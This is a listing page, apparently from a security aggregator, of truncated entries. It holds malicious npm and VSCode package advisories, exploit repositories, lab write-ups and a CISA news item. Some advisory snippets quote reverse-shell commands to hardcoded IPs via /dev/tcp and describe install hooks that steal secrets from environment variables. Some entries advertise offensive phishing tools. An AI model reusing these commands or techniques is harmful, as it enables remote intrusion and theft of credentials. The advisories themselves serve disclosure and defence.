MAL-2026-16132 Malicious code in @nimbusedge/auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a1c515f5cb3bfa2c20dc4fa78c4be6865209e833016cd5804b94ba5f3d1d5885 package.json declares a preinstall lifecycle script that runs bash -i & /dev/tcp/147.93.157.202/8080 to open an interactive reverse shell to the...

ImpactSword

ImpactSword – Red Team Edition ImpactSword is an offensive se...

XSS2Shell-CVE-2026-64638

🔍 @Mr-LeonardoGomes 💀 XSS2Shell-CVE-2026-64638 Escáner multiobjetivo XSS2Shell Desarrollador: Crédito: YogaGymn Utilidad PoC/escaneo para pruebas de seguridad autorizadas en WordPress. El proyecto contiene un flujo de explotación para un único objetivo y un modo solo escaneo multiobjetivo...

cve-2025-32433_rce_exploit

Erlang/OTP SSH – CVE-2025-32433 Laboratorio TryHackMe ⚠️ Solo para uso educativo Este proyecto es estrictamente para aprendizaje y práctica en el laboratorio de la sala oficial de TryHackMe: https://tryhackme.com/room/erlangotpsshcve202532433 No uses esta herramienta contra sistemas que no poseas ...

Exploit for Uncontrolled Resource Consumption in Siemens 6Bk1602-0Aa12-0Tp0_Firmware

Log4Shell Exploitation Lab CVE-2021-44228 Reproduced the Lo...

htb-labs-connected

HTB: Connected - Staff Pick English | Español 📋 Table of Contents 1. Enumeration 2. Exploitation - CVE-2025-57819 3. Reverse Shell 4. Privilege Escalation 5. Flags 6. Repository Structure 7. Scripts and Tools Used 8. Attack Summary 9. Resources and Credits 10. Additional Notes 1. Enumeration 1.1...

Malicious code in 2nestjs (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c9471c1fdd6ae99da48e44b8588f9e36814ce2859f2d25641b06cc53cf42174d The package's postinstall hook executes index.js, which enumerates process.env, filters keys matching /^SECRET|API|TOKEN|KEY/, JSON-serializes the...

MAL-2026-15911 Malicious code in 2nestjs (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c9471c1fdd6ae99da48e44b8588f9e36814ce2859f2d25641b06cc53cf42174d The package's postinstall hook executes index.js, which enumerates process.env, filters keys matching /^SECRET|API|TOKEN|KEY/, JSON-serializes the...

MAL-2026-15902 Malicious code in peertube-plugin-video-views-counter (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f62f93ab1a8cfa1b153c8075e6463d3351c16a49779615556c7ee2fc909fdcde plugin.js contains a top-level IIFE that spawns bash with a /dev/tcp reverse-shell loop to the hardcoded host 45.137.222.44:4444, detached and unref'...

Malicious code in peertube-plugin-video-views-counter (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f62f93ab1a8cfa1b153c8075e6463d3351c16a49779615556c7ee2fc909fdcde plugin.js contains a top-level IIFE that spawns bash with a /dev/tcp reverse-shell loop to the hardcoded host 45.137.222.44:4444, detached and unref'...

apollo-x-ultimate

APOLLO-X ULTIMATE v1 WordPress Exploit Framework - The Dig...

hpe-exploit

Create a text file with IP addresses of remote HPE OneView devic...

ShadowPhish

🕵️‍♂️ ShadowPhish - APT Awareness Toolkit Versión: 1.0 Autor: Joas A Santos Simulador visual para concienciación sobre ciberseguridad, phishing e ingeniería social basada en APT. 🔥 Características ✅ Generador de PDF malicioso ✅ Macro de Word con shellcode remoto ✅ Ofuscación de PowerShell Base64,...

CISA Adds Seven Exploited Flaws as Attackers Deploy Reverse Shells and Crypto Miners

The U.S. Cybersecurity and Infrastructure Security Agency CISA on Wednesday added seven security flaws to its Known Exploited Vulnerabilities KEV catalog after they landed in attackers' crosshairs. The vulnerabilities are as follows - CVE-2026-83548 CVSS score: 10.0 - A server-side request forger...

Malicious code in AzureCdnInfo.edrtester (VSCode)

The Visual Studio Code Marketplace extension AzureCdnInfo.edrtester version 1.0.4 presents as an EDR/telemetry test utility but is a beaconing backdoor. On activation, extension.js loads edrdrill.js, which performs host reconnaissance — hostname, current working directory and local IP — and...

Malicious code in spc-grafeno-login (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 01c074fc169a09169385a53a74ea0bc928f45bf20d40621d7c4b4657e28c01f2 The package's preinstall.js lifecycle script auto-executes on npm install and performs two attacker-benefiting actions against the installer. First, ...

MAL-2026-15633 Malicious code in spc-grafeno-login (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 01c074fc169a09169385a53a74ea0bc928f45bf20d40621d7c4b4657e28c01f2 The package's preinstall.js lifecycle script auto-executes on npm install and performs two attacker-benefiting actions against the installer. First, ...

CVE-2015-8562

CVE-2015-8562 - Reverse shell Python Exploit: Joomla 1.5 - 3.4.5 Object Injection RCE X-Forwarded-For header: root@kitploit: Fecha de vulnerabilidad: 17/12/2015 Autor del exploit: anarc0der Versión: Joomla 1.5 a 3.4.5 CVE : CVE-2015-8562 Cómo usar: root@kitploit: Abre un terminal y escucha con nc...

Malicious code in spc_login (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e9a20e34373650f3fda40b9ea351c7ccb15ae98292cd159863cb26c0c33ff8c1 package.json declares a preinstall hook "node preinstall.js || true" that runs unconditionally on npm install. preinstall.js filters process.env for...

MAL-2026-15622 Malicious code in spc_login (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e9a20e34373650f3fda40b9ea351c7ccb15ae98292cd159863cb26c0c33ff8c1 package.json declares a preinstall hook "node preinstall.js || true" that runs unconditionally on npm install. preinstall.js filters process.env for...